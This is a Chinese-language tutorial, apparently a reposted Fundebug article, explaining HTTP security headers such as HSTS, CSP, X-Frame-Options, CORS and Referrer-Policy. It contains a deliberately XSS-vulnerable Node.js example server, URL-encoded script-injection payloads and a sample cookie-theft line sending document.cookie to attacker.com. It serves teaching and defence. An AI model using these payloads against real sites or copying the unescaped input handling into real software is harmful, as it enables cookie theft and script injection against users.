使用這些 HTTP 頭保護 Web 應用

目前，瀏覽器已經實現了大量與安全相關的頭文件，使攻擊者更難利用漏洞。接下來的講解它們的使用方式、它們防止的攻擊類型以及每個頭後面的一些歷史。

HTTP Strict Transport Security (HSTS)

HSTS（HTTP Strict Transport Security）國際互聯網工程組織IETF正在推行一種新的Web安全協議，HSTS 的作用是強制客戶端（如瀏覽器）使用 HTTPS 與伺服器創建連接。

自 2012 年底以來，HTTPS 無處不在的支持者發現，由於 HTTP 嚴格傳輸安全性，強制客戶端總是使用 HTTP 協議的安全版本更容易：一個非常簡單的設置 Strict-Transport-Security: max-age=3600 將告訴瀏覽器 對於下一個小時（3600秒），它不應該與具有不安全協議的應用程序進行交互。

當用戶嘗試通過 HTTP 訪問由 HSTS 保護的應用程序時，瀏覽器將拒絕繼續訪問，自動將 http:// 的 URL 轉換為 https://。

你可以使用 github.com/odino/wasec/tree/master/hsts 中的代碼在本地測試這個。你需要遵循 README 中的說明(它們通過 mkcert 工具在你的電腦上的localhost 安裝可信的 SSL 證書)，然後嘗試打開 https://localhost:7889。

在這個示例中有兩個伺服器，一個 HTTPS 伺服器監聽 7889，另一個 HTTP 伺服器監聽埠 7888。當你訪問 HTTPS 伺服器時，它總是試圖重定向到 HTTP 版本，這將正常工作，因為 HTTPS 伺服器上沒有 HSTS 策略。如果在 URL 中添加 hsts=on 參數，瀏覽器將強制將重定向中的鏈接轉換為 https:// 版本。由於 7888 上的伺服器只支持 http，所以最終將看到類似於這樣的頁面。

你可能想知道用戶第一次訪問你的網站時會發生什麼，因為事先沒有定義 HSTS 策略：攻擊者可能會欺騙用戶訪問你網站的 http:// 版本並在那裡進行攻擊，所以仍然存在問題，因為 HSTS 是對首次使用機制的信任，它試圖做的是確保，一旦你訪問過網站，瀏覽器就知道後續交互必須使用 HTTPS。

解決這個缺點的一個方法是維護一個海量的資料庫，其中包含了執行 HSTS 的網站，這是Chrome 通過 hstspreload.org 實現的。你必須首先設置安全的方案，然後訪問網站並檢查它是否符合添加到資料庫的條件。例如，我們可以在這看到 Facebook 榜上有名。

將你的的網站提交到這個列表中，就可以提前告訴瀏覽器你的網站使用 HSTS，這樣即使客戶端和伺服器之間的第一次交互也將通過一個安全通道進行。但是這是有代價的，因為你確實需要投入到 HSTS 中。如果你希望你的網站從列表中刪除，這對瀏覽器廠商來說不是件容易的事:

請注意，預載入列表中的內容無法輕鬆撤消。

域名可以被移除，但是 Chrome 的更新需要幾個月的時間才能讓用戶看到變化，我們不能保證其他瀏覽器也一樣。不要請求包含，除非您確定能夠長期支持整個站點及其所有子域的HTTPS。

這是因為供應商不能保證所有用戶都使用最新版本的瀏覽器，而你的站點已從列表中刪除。仔細考慮，並根據你對 HSTS 的信心程度和長期支持 HSTS 的能力做出決定。

HTTP Public Key Pinning (HPKP)

HTTP 公鑰固定是一種安全機制，它的工作原理是通過響應頭或者 <meta> 標籤告訴瀏覽器當前網站的證書指紋，以及過期時間等其它信息。未來一段時間內，瀏覽器再次訪問這個網站必須驗證證書鏈中的證書指紋，如果跟之前指定的值不匹配，即便證書本身是合法的，也必須斷開連接。

目前 Firefox 35+ 和 Chrome 38+ 已經支持， HPKP 基本格式如下：

Public-Key-Pins:
pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";
pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";
max-age=3600; includeSubDomains;
report-uri="https://pkpviolations.example.org/collect"

各欄位含義如下：

• pin-sha256 即證書指紋，允許出現多次（實際上最少應該指定兩個）；
• max-age 和 includeSubdomains 分別是過期時間和是否包含子域，它們在 HSTS（HTTP Strict Transport Security）中也有，格式和含義一致；
• report-uri用來指定驗證失敗時的上報地址，格式和含義跟 CSP（Content Security Policy）中的同名欄位一致；
• includeSubdomains 和 report-uri 兩個參數均為可選；

報頭使用證書的散列列出伺服器將使用哪些證書(在本例中是其中的兩個證書)，並包含附加信息，比如這個指令的生存時間(max-age=3600)和其他一些細節。遺憾的是，我們沒有必要深入了解我們可以用公鑰釘固定做什麼，因為這個功能已經被 Chrome 棄用了——這是一個信號，這一信號表明它的採用很快就會直線下降。

Chrome 的決定並不是不理性的，而僅僅是與公鑰固定相關的風險的結果。如果wq丟失了證書，或者只是在測試時犯了一個錯誤，你的網站將無法訪問之前訪問過該網站的用戶(在max-age指令期間，通常是幾周或幾個月)。

由於這些潛在的災難性後果，HPKP 的使用率一直非常低，並且出現了由於錯誤配置導致大型網站無法訪問的事件。綜上所述，Chrome 認為沒有 HPKP提 供的保護，用戶會過得更好——安全研究人員並不完全反對這一決定。

Expect-CT

雖然 HPKP 已經被棄用，但是一個新的頭介入進來，防止欺騙 SSL 證書被提供給客戶端:Expect-CT。

Expect-CT 頭允許站點選擇性報告和/或執行證書透明度 (Certificate Transparency) 要求，來防止錯誤簽發的網站證書的使用不被察覺。當站點啟用 Expect-CT 頭，就是在請求瀏覽器檢查該網站的任何證書是否出現在公共證書透明度日誌之中。

CT 基本格式如下：

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"

max-age：

該指令指定接收到 Expect-CT 頭後的秒數，在此期間用戶代理應將收到消息的主機視為已知的 Expect-CT 主機。

如果緩存接收到的值大於它可以表示的值，或者如果其隨後計算溢出，則緩存將認為該值為2147483648（2的31次冪）或其可以方便表示的最大正整數。

report-uri="" 可選

該指令指定用戶代理應向其報告 Expect-CT 失效的 URI。

當 enforce 指令和 report-uri 指令共同存在時，這種配置被稱為「強制執行和報告」配置，示意用戶代理既應該強制遵守證書透明度政策，也應當報告違規行為。

enforce 可選

該指令示意用戶代理應強制遵守證書透明度政策（而不是只報告合規性），並且用戶代理應拒絕違反證書透明度政策的之後連接。

當 enforce 指令和 report-uri 指令共同存在時，這種配置被稱為「強制執行和報告」配置，示意用戶代理既應該強制遵守證書透明度政策，也應當報告違規行為。

CT 計劃的目標是比以前使用的任何其他方法更早、更快、更精確地檢測錯誤頒發的或惡意的證書(以及流氓證書頒發機構)。

通過選擇使用 Expect-CT 頭，你可以利用這一優勢來改進應用程序的安全狀態。

X-Frame-Options

想像一下，在你的屏幕前彈出這樣一個網頁:

只要你點擊這個鏈接，你就會發現你銀行賬戶里的錢都不見了，發生了什麼事?

你是點擊劫持攻擊的受害者。

攻擊者將你引導至他們的網站，該網站顯示了一個非常有吸引力的點擊鏈接。 不幸的是，他還在頁面中嵌入了帶了鏈接地址 your-bank.com/transfer?amount=-1&[attacker@gmail.com的 iframe，且通過設置透明度為 0％來隱藏它。

然後發生的事情是想到點擊原始頁面，試圖贏得一個全新的悍馬，這時瀏覽器上iframe上捕獲了一個點擊，這是一個確認轉移資金的危險點擊。

大多數銀行系統要求你指定一次性 PIN 碼來確認交易，但你的銀行沒有趕上時間且你的所有資金都已被轉走了。

這個例子非常極端，但應該讓你了解點擊劫持攻擊 可能帶來的後果。 用戶打算單擊特定鏈接，而瀏覽器將觸發嵌入 iframe中「不可見」頁面上的點擊。

幸運的是，瀏覽器為這個問題提供了一個簡單的解決方案: X-Frame-Options (XFO)，它允許您人定是否可以將應用程序作為 iframe 嵌入外部網站。由於 Internet Explorer 8 的普及，XFO 於2009 年首次引入，現在仍然受到所有主流瀏覽器的支持。

它的工作原理是，當瀏覽器看到 iframe 時，載入它並在渲染它之前驗證它的 XFO 是否允許它包含在當前頁面中。

X-Frame-Options 有三個值:

• DENY

  ：表示該頁面不允許在 frame 中展示，即便是在相同域名的頁面中嵌套也不允許。

• SAMEORIGIN

  ：表示該頁面可以在相同域名頁面的 frame 中展示。

• ALLOW-FROM uri

  ：表示該頁面可以在指定來源的 frame 中展示。

換一句話說，如果設置為 DENY，不光在別人的網站 frame 嵌入時會無法載入，在同域名頁面中同樣會無法載入。另一方面，如果設置為 SAMEORIGIN，那麼頁面就可以在同域名頁面的 frame 中嵌套。

包含最嚴格的 XFO 策略的 HTTP 響應示例如下:

HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: DENY
...

為了展示啟用 XFO 時瀏覽器的行為，我們只需將示例的 URL 更改為 http://localhost:7888/?xfo=on。 xfo=on 參數告訴伺服器在響應中包含 X-Frame-Options: deny，我們可以看到瀏覽器如何限制對 iframe 的訪問:

XFO被認為是防止基於框架的點擊劫持攻擊的最佳方法，直到數年後出現了另一種報頭，即內容安全策略(Content Security Policy，簡稱CSP)。

Content Security Policy (CSP)

內容安全策略(CSP) 是一個額外的安全層，用於檢測並削弱某些特定類型的攻擊，包括跨站腳本 (XSS) 和數據注入攻擊等。無論是數據盜取、網站內容污染還是散發惡意軟體，這些攻擊都是主要的手段。

為使CSP可用, 你需要配置你的網路伺服器返回 Content-Security-Policy HTTP頭部 ( 有時你會看到一些關於 X-Content-Security-Policy 頭部的提法, 那是舊版本，你無須再如此指定它)。

要了解 CSP 如何幫助我們，我們首先應該考慮攻擊媒介。 假設我們剛剛構建了自己的 Google 搜索，這是一個帶有提交按鈕的簡單輸入文本。

這個 web 應用程序沒有什麼神奇的功能。只是,

• 顯示一個表單
• 讓用戶執行搜索
• 顯示搜索結果和用戶搜索的關鍵字

當我們執行簡單搜索時，這就是應用程序返回的內容：

我們的應用程序非常理解我們的搜索，並找到了一個相關的圖像。如果我們深入研究源代碼，可以在github.com/odino/wasec/tree/master/xss.com 上找到，我們很快就會發現應用程序存在安全問題，因為用戶搜索的任何關鍵字都直接列印在提供給客戶端的 HTML 響應中:

var qs = require("querystring")
var url = require("url")
var fs = require("fs")
require("http").createServer((req, res) => {
let query = qs.parse(url.parse(req.url).query)
let keyword = query.search || ""
let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...`
res.end(fs.readFileSync(__dirname + "/index.html").toString().replace("__KEYWORD__", keyword).replace("__RESULTS__", results))
}).listen(7888)
<html>
<body>
<h1>Search The Web</h1>
<form>
<input type="text" name="search" value="__KEYWORD__" />
<input type="submit" />
</form>
<div id="results">
__RESULTS__
</div>
</body>
</html>

這帶來了一個糟糕的後果。攻擊者可以創建一個特定的鏈接，在受害者瀏覽器中執行任意JavaScript。

如果你有時間和耐心在本地運行示例，你將能夠快速了解 CSP 的強大功能。 我添加了一個啟用CSP的查詢字元串參數，因此我們可以嘗試在啟用 CSP 的情況下導航到惡意 URL：

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on

正如你在上面的例子中所看到的，我們已經告訴瀏覽器，我們的 CSP 策略只允許腳本包含在當前 URL 的同一來源，我們可以通過展開 URL 和查看響應頭來驗證:

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"
HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Security-Policy: default-src "self"
Date: Sat, 11 Aug 2018 10:46:27 GMT
Connection: keep-alive

由於 XSS 攻擊是通過內聯腳本(直接嵌入到HTML內容中的腳本)進行的，所以瀏覽器友好地拒絕執行它，以保證用戶的安全。想像一下，如果攻擊者不是簡單地顯示一個警告對話框，而是通過一些JavaScript代碼將重定向到自己的域，代碼可能如下:

window.location = `attacker.com/${document.cookie}`

他們本來可以竊取所有用戶的 cookie，其中可能包含高度敏感的數據（下一篇文章中有更多內容）。

CSP的一個有趣的變化是 report-only 模式。可以不使用 Content-Security-Policy 頭文件，而是首先使用 Content-Security-Policy-Report-Only 頭文件測試 CSP 對你的網站的影響，方法是告訴瀏覽器簡單地報告錯誤，而不阻塞腳本執行，等等。

通過報告，你可以了解要推出的 CSP 策略可能導致的重大更改，並相應地進行修復。 我們甚至可以指定報告網址，瀏覽器會向我們發送報告。 以下是 report-only 策略的完整示例：

Content-Security-Policy: default-src "self"; report-uri http://cspviolations.example.com/collector

CSP 策略本身可能有點複雜，如下例所示:

Content-Security-Policy: default-src "self"; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com

本策略定義了以下規則:

• 可執行腳本（例如JavaScript）只能從 scripts.example.com 載入
• 圖像可以從任何源(img-src: *)
• 視頻或音頻內容可以從兩個來源載入: medias.example.com 和 medias.legacy.example.com

正如你所看到的，策略可能會變得很長，如果我們想確保為用戶提供最高的保護，這可能會成為一個相當乏味的過程。不過，編寫全面的 CSP 策略是向 web 應用程序添加額外安全層的重要一步。

代碼部署後可能存在的BUG沒法實時知道，事後為了解決這些BUG，花了大量的時間進行log 調試，這邊順便給大家推薦一個好用的BUG監控工具 Fundebug。

X-XSS-Protection

HTTP X-XSS-Protection 響應頭是Internet Explorer，Chrome和Safari的一個功能，當檢測到跨站腳本攻擊 (XSS)時，瀏覽器將停止載入頁面。雖然這些保護在現代瀏覽器中基本上是不必要的，當網站實施一個強大的 Content-Security-Policy 來禁用內聯的 JavaScript ("unsafe-inline")時, 他們仍然可以為尚不支持 CSP 的舊版瀏覽器的用戶提供保護。

它的語法和我們剛才看到的非常相似:

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector

XSS 是最常見的攻擊類型，其中未經過驗證的伺服器列印出未經過處理的輸入，而且這個標題真正發揮作用。 如果你想親眼看到這個，我建議你試試 github.com/odino/wasec/tree/master/xss 上的例子。

將 xss=on 附加到 URL 上，它顯示了當 XSS 保護時瀏覽器做了什麼 打開了。 如果我們在搜索框中輸入惡意字元串，例如 <script> alert（"hello"）</ script>，瀏覽器將拒絕執行腳本，並解釋其決定背後的原因：

The XSS Auditor refused to execute a script in
"http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on"
because its source code was found within the request.
The server sent an "X-XSS-Protection" header requesting this behavior.

更有趣的是，當網頁沒有指定任何 CSP 或 XSS 策略時，Chrome 的默認行為，我們可以通過將 XSS =off 參數添加到URL (http://localhost:7888/?search=%3Cscript%3Ealert%28% %27hello%27% %29%3C%2Fscript%3E&xss=off) 來測試這個場景:

令人驚訝的是，Chrome 非常謹慎，它將阻止頁面渲染，使得 XSS 的攻擊非常難以實現。

Feature policy

2018 年 7 月，安全研究員 Scott Helme 發表了一篇非常有趣的博客文章，詳細介紹了正在開發的一個新的安全標頭: Feature-Policy。

目前只有很少的瀏覽器(在撰寫本文時是Chrome和Safari)支持這個標頭，它允許我們定義當前頁面中是否啟用了特定的瀏覽器功能。使用與 CSP 非常相似的語法，比如下面這個:

Feature-Policy: vibrate "self"; push *; camera "none"

如果我們對此策略如何影響頁面可用的瀏覽器 API 仍有疑問，我們可以簡單地剖析它：

• vibrate "self"：這將允許當前頁面使用vibration API 和同一源上的任何嵌套瀏覽上下文(iframe)
• push *：當前頁面和任何 iframe 都可以使用 push notification API
• camera "none"：當前頁面和任何嵌套上下文(iframe)都拒絕訪問 camera API

feature policy 的歷史可能很短，但是搶先一步也無妨。例如，如果你的網站允許用戶自拍或錄製音頻，那麼使用限制其他上下文通過你的頁面訪問 API 的策略將非常有益。

X-Content-Type-Options

有時候，從安全的角度來看，聰明的瀏覽器功能最終會傷害我們。 一個明顯的例子是 MIME嗅探(MIME-sniffing)，這是一種由 Internet Explorer 推廣的技術。

MIME 嗅探是瀏覽器自動檢測（和修復）正在下載的資源的內容類型的能力。 例如，我們要求瀏覽器渲染圖片 /awesome-picture.png ，但伺服器在向瀏覽器提供圖像時設置了錯誤的類型（例如，Content-Type：text/plain），這通常會導致瀏覽器無法正確顯示圖像。

為了解決這個問題，IE 竭盡全力實現 MIME 嗅探功能：當下載資源時，瀏覽器會「掃描」它，如果它會檢測到資源的內容類型不是由在 Content-Type 標頭中的伺服器，它將忽略伺服器發送的類型並根據瀏覽器檢測到的類型解釋資源。

現在，想像一下，託管一個網站，允許用戶上傳自己的圖像，並想像用戶上傳包含 JavaScript 代碼的 /test.jpg 文件。 看看這是怎麼回事？ 上傳文件後，該網站會將其包含在自己的 HTML 中，當瀏覽器嘗試渲染文檔時，它會找到用戶剛剛上傳的「圖像」。 當瀏覽器下載圖像時，它會檢測到它是一個腳本，並在受害者的瀏覽器上執行它。

為了避免這個問題，我們可以設置 X-Content-Type-Options:nosniheader，它完全禁用 MIME 嗅探：通過這樣做，我們告訴瀏覽器，我們完全知道某些文件可能在類型和內容方面不匹配，瀏覽器不應該擔心這個問題。我們知道我們在做什麼，所以瀏覽器不應該試圖猜測，可能對我們的用戶構成安全威脅。

Cross-Origin Resource Sharing (CORS)

在瀏覽器上，通過 JavaScript，HTTP 請求只能在同一個源上觸發。 簡而言之，example.com 的AJAX 請求只能連接到 example.com。

這是因為你的瀏覽器包含攻擊者的有用信息 - Cookie，通常用於跟蹤用戶的會話。 想像一下，如果攻擊者在 win-a-hummer.com 上設置惡意頁面，會立即向 your-bank.com 發出 AJAX 請求。

如果你在銀行的網站上登錄，則攻擊者可以使用你的憑據執行 HTTP 請求，可能會竊取信息，或者更糟糕的是，將你的銀行帳戶清除掉。

不過，在某些情況下可能需要執行跨域 AJAX 請求，這就是瀏覽器實現跨跨資源共享(Cross Origin Resource Sharing, CORS)的原因，這是一組允許執行跨域請求的指令。

CORS 背後的機制非常複雜，我們不可能通讀整個規範，所以我將重點介紹 CORS 的「簡化」版本。

現在，你只需要知道，通過使用 Access-Control-Allow-Origin 頭，應用程序告訴瀏覽器可以接收來自其他域的請求。

這個寬鬆的形式設置 Access-Control-Allow-Origin: *，它允許任何域訪問我們的應用程序，但是我們可以通過使用 Access-Control-Allow-Origin: https://example.com 添加我們想要列入白名單的 URL 來限制它。

如果我們看看 github.com/odino/wasec/tree/master/cors 上的示例，我們可以清楚地看到瀏覽器如何阻止訪問單獨來源的資源。 我已經設置了一個示例，用於從 test-cors 到 test-cors-2 發出 AJAX 請求，並將操作結果列印到瀏覽器。 當 test-cors-2 後面的伺服器被指示使用 CORS 時，頁面按預期工作。 嘗試導航到 http://cors-test:7888/?cors=on

但是當我們從 UR L中刪除 cors 參數時，瀏覽器會介入並阻止我們訪問響應的內容:

我們需要理解的一個重要方面是瀏覽器執行了請求，但阻止了客戶端訪問它。 這非常重要，因為如果我們的請求會對伺服器產生任何副作用，它仍然會使我們容易受到攻擊。 想像一下，例如，如果我們的銀行允許通過簡單地調用 my-bank.com/transfer?amount=1000&from=me&to=attacker 來轉移資金，那將是一場災難！

正如我們在本系列第一篇講到，GET 請求應該是冪等的，但如果我們嘗試用 POST 請求會發生什麼？ 幸運的是，在示例中包含了這個場景，通過導航到 http://cors-test:7888/?method=POST:來嘗試：

瀏覽器發出「預檢」請求，而不是直接執行我們的 POST 請求，這可能會導致伺服器出現嚴重問題。 這只是對伺服器的 OPTIONS 請求，要求它驗證我們的來源是否被允許。 在這種情況下，伺服器沒有正面響應，因此瀏覽器停止進程，我們的 POST 請求永遠不會到達目標。

這告訴我們一些事情:

• CORS 不是一個簡單的規範，很多場景需要牢記，你可以很容易地混淆預檢請求等功能的細微差別。
• 永遠不要暴露通過 GET 改變狀態的 API。 攻擊者可以在沒有預檢請求的情況下觸發這些請求，這意味著根本沒有保護。

根據經驗，我發現自己更願意設置代理，以便將請求轉發到正確的伺服器，而不是使用 CORS。這意味著運行在 example.com 上的應用程序可以在 example.com/_proxy/other.com 設置一個代理，這樣所有位於 _proxy/other.com/*下的請求都可以代理到 other.com。

X-Permitted-Cross-Domain-Policies

與 CORS 非常相似的是，X-Permitted-Cross-Domain-Policies 針對 Adobe 產品（即Flash和Acrobat）的跨域策略。

我不會詳細介紹，因為這是一個針對非常特定用例的標頭。長話短說，Adobe 產品通過請求目標域根目錄中的 cross-domain.xml 文件處理跨域請求，並且 X-Permitted-Cross-Domain-Policies 定義了訪問該文件的策略。

聽起來複雜嗎?我只建議添加一個 X-Permitted-Cross-Domain-Policies: none 並忽略希望使用 Flash 跨域請求的客戶端。

Referrer-Policy

在我們職業生涯的開始，我們可能都犯了同樣的錯誤。使用 Referer 頭在我們的網站上實現安全限制。如果頭部在我們定義的白名單中包含一個特定的 URL，我們將允許用戶訪問。

Referrer-Policy 頭文件誕生於 2017 年初，目前受到所有主流瀏覽器的支持，它可以告訴瀏覽器，它應該只屏蔽 Referer頭文件中的URL，或者完全省 略URL，從而緩解這些隱私問題。

Referrer-Policy 一些最常見的值是：

• no-referrer

  ：整個 Referer 首部會被移除。訪問來源信息不隨著請求一起發送。

• origin

  ：在任何情況下，僅發送文件的源作為引用地址。例如 https://example.com/page.html 會將 https://example.com/ 作為引用地址。

• same-origin

  ：對於同源的請求會發送引用地址，但是對於非同源請求則不發送引用地址信息。

值得注意的是，Referrer-Policy 有很多變體(trict-origin、no-referrer-when-downgrade等等)，但是我上面提到的這些變體可能會涵蓋你的大多數用例。如果你希望更好地理解你可以使用的每一個變體，可以訪問 OWASP dedicated page 了解。

Origin 標頭與 Referer 非常相似，因為它是由瀏覽器在跨域請求中發送的，以確保允許調用者訪問不同域上的資源。 Origin 標頭由瀏覽器控制，因此惡意用戶無法篡改它。 你可能會將其用作Web應用程序的防火牆：如果 Origin 位於我們的白名單中，請讓請求通過。

但有一點需要考慮的是，其他 HTTP 客戶端（如c URL）可以呈現自己的來源：簡單的 curl -H "Origin: example.com" api.example.com 將使所有基於源的防火牆規則效率低下...... ...... 這就是為什麼你不能依靠 Origin（或者我們剛才看到的 Referer）來構建防火牆來阻止惡意客戶端。

有狀態 HTTP：使用 cookie 管理會話

本文應該向我們介紹一些有趣的 HTTP 標頭，讓我們了解它們如何通過特定於協議的功能強化我們的Web 應用程序，以及主流瀏覽器的一些幫助。

作者：Fundebug

原文：https://www.cnblogs.com/fundebug/p/use-http-headers-to-protect-web.html

喜歡這篇文章嗎？立刻分享出去讓更多人知道吧！